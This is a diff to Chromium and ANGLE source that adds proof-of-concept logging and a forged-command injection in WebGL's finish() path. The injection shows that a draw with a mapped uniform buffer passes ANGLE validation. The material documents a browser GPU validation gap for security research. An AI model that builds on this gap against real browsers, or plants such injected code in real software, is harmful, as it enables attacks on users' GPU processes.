diff --git a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
index ef823b7d557fb..1cf3918b02731 100644
--- a/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
+++ b/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc
@@ -3982,6 +3982,14 @@ error::Error GLES2DecoderPassthroughImpl::DoMapBufferRange(
 
   void* mapped_ptr =
       api()->glMapBufferRangeFn(target, offset, size, filtered_access);
+  // ---- POC INSTRUMENTATION ----
+  LOG(ERROR) << "[POC-GPU] passthrough DoMapBufferRange target=0x" << std::hex
+             << target << " size=" << std::dec << size
+             << " IsWebGLContext=" << feature_info_->IsWebGLContext()
+             << " IsWebGL2OrES3OrHigher="
+             << feature_info_->IsWebGL2OrES3OrHigherContext()
+             << " mapped_ptr=" << mapped_ptr;
+  // ---- END POC INSTRUMENTATION ----
   if (CheckErrorCallbackState() || mapped_ptr == nullptr) {
     // Had an error while mapping, don't copy any data
     *result = 0;
diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
index 172759394d7e0..712950f7419c7 100644
--- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
+++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
@@ -32,6 +32,7 @@
 #include "base/byte_size.h"
 #include "base/compiler_specific.h"
 #include "base/feature_list.h"
+#include "base/logging.h"
 #include "base/memory/scoped_refptr.h"
 #include "base/metrics/histogram_functions.h"
 #include "base/metrics/histogram_macros.h"
@@ -3449,6 +3450,37 @@ void WebGLRenderingContextBase::enableVertexAttribArray(GLuint index) {
 void WebGLRenderingContextBase::finish() {
   if (isContextLost())
     return;
+  // ---- POC INJECTION: simulate compromised renderer forging
+  // cmds::MapBufferRange on a WebGL2 passthrough context, then drawing
+  // with the mapped buffer still bound as a UBO. ----
+  static bool poc_done = false;
+  if (!poc_done && IsWebGL2()) {
+    poc_done = true;
+    gpu::gles2::GLES2Interface* gl = ContextGL();
+    // Drain any prior errors.
+    while (gl->GetError() != GL_NO_ERROR) {}
+    LOG(ERROR) << "[POC-RENDERER] forging MapBufferRange(GL_UNIFORM_BUFFER) "
+                  "from WebGL2 context";
+    void* p = gl->MapBufferRange(GL_UNIFORM_BUFFER, 0, 16, GL_MAP_READ_BIT);
+    GLenum map_err = gl->GetError();
+    LOG(ERROR) << "[POC-RENDERER] MapBufferRange returned ptr=" << p
+               << " glGetError=0x" << std::hex << map_err;
+    // Now draw with the UBO still mapped. Per GLES3 §2.10 a draw with a
+    // mapped bound buffer is INVALID_OPERATION; ANGLE's WebGL path never
+    // checks isMapped() on UBOs so this passes validation.
+    gl->DrawArrays(GL_POINTS, 0, 1);
+    gl->Finish();
+    GLenum draw_err = gl->GetError();
+    LOG(ERROR) << "[POC-RENDERER] DrawArrays-with-mapped-UBO glGetError=0x"
+               << std::hex << draw_err
+               << (draw_err == GL_NO_ERROR
+                       ? "  ** VALIDATION GAP CONFIRMED: draw accepted with "
+                         "mapped UBO **"
+                       : "  (draw rejected)");
+    gl->UnmapBuffer(GL_UNIFORM_BUFFER);
+    while (gl->GetError() != GL_NO_ERROR) {}
+  }
+  // ---- END POC INJECTION ----
   ContextGL()->Flush();  // Intentionally a flush, not a finish.
 }
 
diff --git a/third_party/angle/src/libANGLE/validationES.cpp b/third_party/angle/src/libANGLE/validationES.cpp
index eb06b24a80..d2db9ae2a6 100644
--- a/third_party/angle/src/libANGLE/validationES.cpp
+++ b/third_party/angle/src/libANGLE/validationES.cpp
@@ -12,6 +12,8 @@
 
 #include "libANGLE/validationES.h"
 
+#include <cstdio>
+
 #include "libANGLE/Context.h"
 #include "libANGLE/Display.h"
 #include "libANGLE/ErrorStrings.h"
@@ -719,6 +721,19 @@ ANGLE_INLINE const char *ValidateProgramDrawStates(const Context *context,
             {
                 return gl::err::kUniformBufferBoundForTransformFeedback;
             }
+            // ---- POC INSTRUMENTATION: this loop validates size and XFB
+            // conflicts but never checks isMapped(). Surface that fact when a
+            // mapped UBO reaches here. ----
+            if (uniformBuffer.get() != nullptr && uniformBuffer->isMapped())
+            {
+                fprintf(stderr,
+                        "[POC-ANGLE] ValidateProgramDrawStates: uniform block "
+                        "%zu bound buffer isMapped()=TRUE, isWebGL=%d -> NOT "
+                        "rejected (validation gap)\n",
+                        uniformBlockIndex, context->isWebGL() ? 1 : 0);
+                fflush(stderr);
+            }
+            // ---- END POC INSTRUMENTATION ----
         }
     }